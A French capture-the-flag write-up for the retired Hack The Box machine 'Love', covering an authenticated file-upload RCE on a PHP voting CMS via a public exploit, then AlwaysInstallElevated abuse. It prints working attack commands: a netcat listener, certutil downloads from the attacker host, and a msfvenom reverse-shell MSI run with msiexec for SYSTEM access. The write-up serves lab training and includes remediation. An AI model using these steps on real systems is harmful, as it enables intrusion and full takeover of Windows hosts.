picsou@htb:~/writeups/easy/love$

Windows Easy

Love : RCE Voting System + AlwaysInstallElevated

RCE authentifié sur un CMS Voting System en PHP pour le foothold, puis AlwaysInstallElevated pour passer SYSTEM.

box
Love
os
Windows
difficulté
Easy
publiée le
temps
20 min
indices
aucun
outils
nmap whatweb searchsploit msfvenom
techniques
Scan de ports Énumération web Énumération de vhosts Exploit public (CVE) Upload de fichier AlwaysInstallElevated

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. Scan : plusieurs services web, dont un CMS Voting System en PHP.
  2. Un exploit public donne une RCE authentifiée (upload de shell) : foothold en tant que phoebe.
  3. AlwaysInstallElevated est actif sur HKLM et HKCU : un MSI malveillant s'exécute en SYSTEM.

Reconnaissance

kali
nmap -sVC -T4 10.129.48.103
nmap
80/tcp   open  http         Apache 2.4.46 (Win64) PHP/7.3.27 - "Voting System using PHP"
443/tcp  open  ssl/http     Apache - cert CN=staging.love.htb, O=ValentineCorp
445/tcp  open  microsoft-ds Windows 10 Pro 19042 (workgroup: WORKGROUP)
3306/tcp open  mysql
5000/tcp open  http         Apache (403 Forbidden)

Le certificat SSL révèle des vhosts. On les ajoute au fichier hosts :

kali
echo "10.129.48.103 love.htb staging.love.htb www.love.htb" | sudo tee -a /etc/hosts

Foothold

Identification du CMS

kali
whatweb http://10.129.48.103/
whatweb
Title[Voting System using PHP], PHP[7.3.27], PasswordField[password]

Exploit public

kali
searchsploit "voting system"
searchsploit -m php/webapps/49445.py

Le PoC 49445.py (Voting System 1.0 - Authenticated File Upload RCE) cible en dur une installation sous /votesystem/. Ici l'app est à la racine : il faut adapter les chemins.

diff
- INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php"
- LOGIN_URL  = f"http://{IP}/votesystem/admin/login.php"
- VOTE_URL   = f"http://{IP}/votesystem/admin/voters_add.php"
- CALL_SHELL = f"http://{IP}/votesystem/images/shell.php"
+ INDEX_PAGE = f"http://{IP}/admin/index.php"
+ LOGIN_URL  = f"http://{IP}/admin/login.php"
+ VOTE_URL   = f"http://{IP}/admin/voters_add.php"
+ CALL_SHELL = f"http://{IP}/images/shell.php"

Les identifiants d'admin potter:password sont déjà présents en dur dans le script.

kali
nc -lvnp 8888
python3 49445.py

Shell obtenu en tant que love\phoebe.

Énumération (WinPEAS)

phoebe@love
certutil -urlcache -split -f http://10.10.14.5/winPEASx64.exe winPEAS.exe
.\winPEAS.exe

Points clés relevés :

  • AlwaysInstallElevated actif sur les deux hives :
    txt
    HKLM policy value: 1
    HKCU policy value: 1
  • C:\Administration\* : permissions Phoebe [AllAccess] sur des binaires VMware Tools, avec une règle AppLocker dédiée (piste de hijack si une tâche SYSTEM les exécute).
  • Aucun privilège de token directement exploitable (SeImpersonate, SeDebug absents).

Élévation vers SYSTEM

Vecteur retenu : AlwaysInstallElevated. Quand les deux clés valent 1, n'importe quel paquet MSI s'installe avec les droits SYSTEM.

kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=9998 -f msi -o evil.msi
phoebe@love
certutil -urlcache -split -f http://10.10.14.5/evil.msi evil.msi
msiexec /quiet /qn /i evil.msi

Le listener reçoit un shell NT AUTHORITY\SYSTEM. Si le format msi échoue, le format msi-nouac est l'alternative.

Piste alternative

C:\Administration\* avec Phoebe [AllAccess] reste une piste de hijack de binaire si une tâche planifiée SYSTEM l'exécute. À creuser avec :

phoebe@love
schtasks /query /fo LIST /v | findstr /i "Administration VMware"

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1CMS Voting System vulnérable à une RCE authentifiéeCritiqueRetirer l'application ou la maintenir à jour, filtrer les uploads
F2Identifiants d'administration faibles (potter:password)ÉlevéeMots de passe forts et uniques
F3AlwaysInstallElevated actif (HKLM + HKCU)CritiqueDésactiver la stratégie AlwaysInstallElevated par GPO

Leçons apprises

  • AlwaysInstallElevated activé sur les deux hives est une des escalades les plus simples à vérifier : toujours la checker en premier, via winPEAS ou manuellement.
  • Un CMS PHP "from scratch" (type Sourcecodester) a presque toujours un exploit public sur Exploit-DB : searchsploit avant de fuzzer à l'aveugle.
  • Les PoC publics ciblent souvent un chemin d'installation par défaut différent de l'install réelle : toujours vérifier et adapter les chemins.

Références